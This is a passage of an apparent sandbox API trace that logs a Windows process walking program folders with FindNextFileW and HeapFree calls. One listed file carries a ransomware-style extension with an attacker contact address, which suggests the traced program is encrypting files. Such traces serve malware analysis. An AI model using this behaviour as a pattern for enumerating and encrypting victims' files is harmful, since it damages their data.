ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0284.014] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0284.014] FindNextFileW (in: hFindFile=0x543890, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0284.015] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0284.015] FindNextFileW (in: hFindFile=0x543a10, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0284.015] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0284.016] FindNextFileW (in: hFindFile=0x5438d0, lpFindFileData=0x34bf800 | out: lpFindFileData=0x34bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0284.016] FindClose (in: hFindFile=0x5438d0 | out: hFindFile=0x5438d0) returned 1 [0284.016] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d50938 | out: hHeap=0x4e0000) returned 1 [0284.016] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xabad4148, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xabad4148, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xabad4148, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="DESKTO~1.LOV")) returned 1 [0284.017] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0284.017] FindNextFileW (in: hFindFile=0x543ed0, lpFindFileData=0x34bf800 | out: lpFindFileData=0x34bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0284.018] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0284.018] FindNextFileW (in: hFindFile=0x543ed0, lpFindFileData=0x34bf800 | out: lpFindFileData=0x34bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0284.018] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0284.018] FindNextFileW (in: hFindFile=0x543ed0, lpFindFileData=0x34bf800 | out: lpFindFileData=0x34bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe63d2d10, ftCreationTime.dwHighDateTime=0x1d5c395, ftLastAccessTime.dwLowDateTime=0x22f82ad0, ftLastAccessTime.dwHighDateTime=0x1d5b1d4, ftLastWriteTime.dwLowDateTime=0x22f82ad0, ftLastWriteTime.dwHighDateTime=0x1d5b1d4, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="spcwin.exe", cAlternateFileName="")) returned 1 [0284.018] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d50938 | out: hHeap=0x4e0000) returned 1 [0284.018] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xe7efeb5d, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe7efeb5d, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Java", cAlternateFileName="")) returned 1 [0284.019] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d90958 | out: hHeap=0x4e0000) returned 1 [0284.019] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0284.022] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0284.022] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0284.022] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0284.022] FindNextFileW (in: hFindFile=0x543d50, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0284.023] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0284.023] FindNextFileW (in: hFindFile=0x543bd0, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0284.023] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0284.023] FindNextFileW (in: hFindFile=0x543890, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0284.023] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0284.023] FindNextFileW (in: hFindFile=0x543890, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0284.024] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0284.024] FindNextFileW (in: hFindFile=0x543890, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0284.024] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0284.024] FindNextFileW (in: hFindFile=0x543890, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0284.025] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0284.025] FindNextFileW (in: hFindFile=0x543890, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0284.026] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0284.026] FindNextFileW (in: hFindFile=0x543890, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1 [0284.026] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3dc0970 | out: hHeap=0x4e0000) returned 1 [0284.026] FindNextFileW (in: hFindFile=0x543d10, lpFindFileData=0x34bf08c | out: lpFindFileData=0x34bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cursors", cAlternateFileName="")) returned 0 [0284.026] FindClose (in: hFindFile=0x543d10 | out: hFindFile=0x543d10) returned 1 [0284.026] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0284.026] FindNextFileW (in: hFindFile=0x543890, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0284.027] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0284.027] FindNextFileW (in: hFindFile=0x543890, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0284.027] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0284.027] FindNextFileW (in: hFindFile=0x543890, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0284.028] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0284.028] FindNextFileW (in: hFindFile=0x543890, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0284.028] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d80950 | out: hHeap=0x4e0000) returned 1 [0284.028] FindNextFileW (in: hFindFile=0x543bd0, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0284.028] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0284.030] FindNextFileW (in: hFindFile=0x543dd0, lpFindFileData=0x34bf800 | out: lpFindFileData=0x34bf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe84dfa00, ftCreationTime.dwHighDateTime=0x1d5acff, ftLastAccessTime.dwLowDateTime=0x9390f380, ftLastAccessTime.dwHighDateTime=0x1d5f05e, ftLastWriteTime.dwLowDateTime=0x9390f380, ftLastWriteTime.dwHighDateTime=0x1d5f05e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="showcase.exe", cAlternateFileName="")) returned 1 [0284.030] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d50938 | out: hHeap=0x4e0000) returned 1 [0284.031] FindNextFileW (in: hFindFile=0x543f90, lpFindFileData=0x34bfa7c | out: lpFindFileData=0x34bfa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xacb3863b, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xacb3863b, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0284.034] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d50938 | out: hHeap=0x4e0000) returned 1 [0284.034] FindNextFileW (in: hFindFile=0x543b10, lpFindFileData=0x34bf800 | out: lpFindFileData=0x34bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb1743290, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xb1743290, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1 [0284.037] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d50938 | out: hHeap=0x4e0000) returned 1 [0284.037] FindNextFileW (in: hFindFile=0x543b10, lpFindFileData=0x34bf800 | out: lpFindFileData=0x34bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0284.040] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0284.040] FindNextFileW (in: hFindFile=0x543bd0, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0284.995] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0284.995] FindNextFileW (in: hFindFile=0x543a10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0284.998] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3e11998 | out: hHeap=0x4e0000) returned 1 [0284.998] FindNextFileW (in: hFindFile=0x543ed0, lpFindFileData=0x34bf08c | out: lpFindFileData=0x34bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0284.998] FindClose (in: hFindFile=0x543ed0 | out: hFindFile=0x543ed0) returned 1 [0284.998] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0284.998] FindNextFileW (in: hFindFile=0x543a10, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0284.998] FindClose (in: hFindFile=0x543a10 | out: hFindFile=0x543a10) returned 1 [0284.998] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0285.000] FindNextFileW (in: hFindFile=0x543bd0, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1 [0285.005] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0285.005] FindNextFileW (in: hFindFile=0x543890, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0285.006] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0285.006] FindNextFileW (in: hFindFile=0x543890, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0285.010] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3db0968 | out: hHeap=0x4e0000) returned 1 [0285.010] FindNextFileW (in: hFindFile=0x543890, lpFindFileData=0x34bf308 | out: lpFindFileData=0x34bf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 1 [0285.010] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0285.010] FindNextFileW (in: hFindFile=0x543bd0, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1 [0285.028] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d60940 | out: hHeap=0x4e0000) returned 1 [0285.028] FindNextFileW (in: hFindFile=0x543bd0, lpFindFileData=0x34bf584 | out: lpFindFileData=0x34bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, 